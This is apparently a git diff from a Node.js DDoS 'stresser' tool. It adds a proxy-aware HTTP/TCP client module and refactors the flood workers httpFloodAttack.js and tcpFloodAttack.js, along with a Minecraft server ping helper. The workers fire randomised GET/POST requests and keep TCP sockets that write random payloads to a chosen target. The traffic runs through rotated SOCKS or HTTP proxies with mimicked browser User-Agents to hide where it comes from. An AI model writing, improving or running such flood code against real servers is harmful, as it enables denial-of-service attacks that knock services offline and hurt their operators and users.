diff --git a/bun.lockb b/bun.lockb index 381a643..f2037a6 100644 Binary files a/bun.lockb and b/bun.lockb differ diff --git a/package.json b/package.json index e4dc8ae..bfcbe03 100644 --- a/package.json +++ b/package.json @@ -19,6 +19,7 @@ "dependencies": { "axios": "^1.7.9", "body-parser": "^1.20.3", + "cheerio": "^1.0.0", "cross-env": "^7.0.3", "express": "^4.21.2", "lucide-react": "^0.344.0", diff --git a/server/utils/clientUtils.js b/server/utils/clientUtils.js new file mode 100644 index 0000000..a9153cf --- /dev/null +++ b/server/utils/clientUtils.js @@ -0,0 +1,112 @@ +import axios from "axios"; +import net from "net"; +import { SocksProxyAgent } from "socks-proxy-agent"; + +// Misc +export function createAgent(proxy) { + if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") { + throw new Error("Unsupported proxy protocol for agent: " + proxy.protocol); + } + + const uri = `${proxy.protocol}://${ + proxy.username && proxy.password + ? `${proxy.username}:${proxy.password}@` + : "" + }${proxy.host}:${proxy.port}`; + + return new SocksProxyAgent(uri); +} + +// HTTP Client +export function createMimicHttpClient(proxy, userAgent) { + return axios.create({ + headers: { "User-Agent": userAgent }, + proxy, + timeout: 5000, + validateStatus: (status) => { + return status < 500; + }, + }); +} + +export function createHttpClient( + clientConfig = { + headers: { + "User-Agent": + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", + }, + timeout: 5000, + validateStatus: (status) => { + return status < 500; + }, + proxy: { + protocol: "http", + host: "127.0.0.1", + port: 1080, + }, + } +) { + const config = { ...clientConfig }; + const client = axios.create(config); + const proxy = config.proxy; + + if (proxy.protocol == "http" || proxy.protocol == "https") { + config.proxy = { + host: proxy.host, + port: proxy.port, + auth: proxy.username ? { username: proxy.username } : null, + }; + } else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") { + config.httpAgent = createAgent(proxy); + } else { + throw new Error( + "Unsupported proxy protocol for HTTP client: " + proxy.protocol + ); + } + + return client; +} + +// TCP Client +const DEFAULT_SOCKET_CONFIG = { + host: "127.0.0.1", + port: 1080, + timeout: 5000, +}; + +export function createTcpClient( + proxy, + socketConfig = DEFAULT_SOCKET_CONFIG, + callback +) { + if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") { + throw new Error( + "Unsupported proxy protocol for TCP client: " + proxy.protocol + ); + } + + const socket = new net.Socket(); + const proxyAgent = createAgent(proxy); + const config = { ...DEFAULT_SOCKET_CONFIG, ...socketConfig }; + + socket.setTimeout(config.timeout); + + socket.connect( + { host: config.host, port: config.port, agent: proxyAgent }, + () => { + if (callback) callback(socket); + socket["open"] = true; + } + ); + + socket.on("close", () => { + socket["open"] = false; + }); + + socket.on("timeout", () => { + socket.destroy(); + socket["open"] = false; + }); + + return socket; +} diff --git a/server/utils/mcUtils.js b/server/utils/mcUtils.js index ee4d8a5..28dafb1 100644 --- a/server/utils/mcUtils.js +++ b/server/utils/mcUtils.js @@ -1,6 +1,5 @@ // Adapted from: https://github.com/Cryptkeeper/mcping-js/ -import net from "net"; -import { SocksProxyAgent } from "socks-proxy-agent"; +import { createTcpClient } from "./clientUtils"; class MinecraftProtocol { static writeVarInt(val) { @@ -87,17 +86,7 @@ class MinecraftBufferReader { export function pingMinecraftServer(host, port, proxy) { return new Promise((resolve, reject) => { - const { protocol, host: proxyHost, port: proxyPort, username: proxyUsername, password: proxyPassword } = proxy; - - const agent = new SocksProxyAgent( - `${protocol}://${proxyUsername && proxyPassword ? `${proxyUsername}:${proxyPassword}@` : ""}${proxyHost}:${proxyPort}` - ); - - const socket = net.createConnection({ - host: host, - port: port, - agent: agent, - }); + const socket = createTcpClient(proxy, { host, port }); const timeoutTask = setTimeout(() => { socket.emit("error", new Error("Socket timeout")); diff --git a/server/workers/httpFloodAttack.js b/server/workers/httpFloodAttack.js index f19e7d0..695fa4a 100644 --- a/server/workers/httpFloodAttack.js +++ b/server/workers/httpFloodAttack.js @@ -1,7 +1,6 @@ -import axios from "axios"; -import { SocksProxyAgent } from "socks-proxy-agent"; import { parentPort, workerData } from "worker_threads"; +import { createMimicHttpClient } from "../utils/clientUtils.js"; import { randomBoolean, randomString } from "../utils/randomUtils.js"; const startAttack = () => { @@ -14,39 +13,14 @@ const startAttack = () => { const sendRequest = async (proxy, userAgent) => { try { - const config = { - headers: { "User-Agent": userAgent }, - timeout: 2000, - validateStatus: (status) => { - return status < 500; - }, - }; - - if (proxy.protocol === "http") { - config.proxy = { - host: proxy.host, - port: proxy.port, - }; - - if (proxy.username && proxy.password) { - config.proxy.auth = { - username: proxy.username, - password: proxy.password, - } - } - } else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") { - config.httpAgent, config.httpsAgent = new SocksProxyAgent( - `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` - ); - } - + const client = createMimicHttpClient(proxy, userAgent); const isGet = packetSize > 64 ? false : randomBoolean(); const payload = randomString(packetSize); if (isGet) { - await axios.get(`${fixedTarget}/${payload}`, config); + await client.get(`${fixedTarget}/${payload}`); } else { - await axios.post(fixedTarget, payload, config); + await client.post(fixedTarget, payload); } totalPackets++; diff --git a/server/workers/tcpFloodAttack.js b/server/workers/tcpFloodAttack.js index d358635..c34817a 100644 --- a/server/workers/tcpFloodAttack.js +++ b/server/workers/tcpFloodAttack.js @@ -1,7 +1,6 @@ -import net from "net"; -import { SocksProxyAgent } from "socks-proxy-agent"; import { parentPort, workerData } from "worker_threads"; +import { createTcpClient } from "../utils/clientUtils.js"; import { randomString } from "../utils/randomUtils.js"; const startAttack = () => { @@ -11,40 +10,31 @@ const startAttack = () => { const port = parseInt(targetPort, 10); const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`; + if (isNaN(port)) throw new Error("Invalid port: Should be a number"); + if (port < 1 || port > 65535) + throw new Error("Invalid port: Should be between 1 and 65535"); + let totalPackets = 0; const startTime = Date.now(); const sendPacket = async (proxy) => { - const socket = new net.Socket(); - let open = false; - socket.setTimeout(2000); + const socket = createTcpClient(proxy, { host: targetHost, port: port }); - const proxyAgent = new SocksProxyAgent( - `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` - ); - - setInterval(() => { - if (socket.writable && open) { - socket.write(randomString(packetSize)); - } - }, [1000]); - - socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => { + socket.on("connect", () => { totalPackets++; - open = true; + parentPort.postMessage({ log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, totalPackets, }); - }); - socket.on("close", () => { - open = false; - }); - - socket.on("timeout", () => { - socket.destroy(); - open = false; + const interval = setInterval(() => { + if (socket.writable && socket["open"]) { + socket.write(randomString(packetSize)); + } else { + clearInterval(interval); + } + }, 3000); }); socket.on("error", (err) => {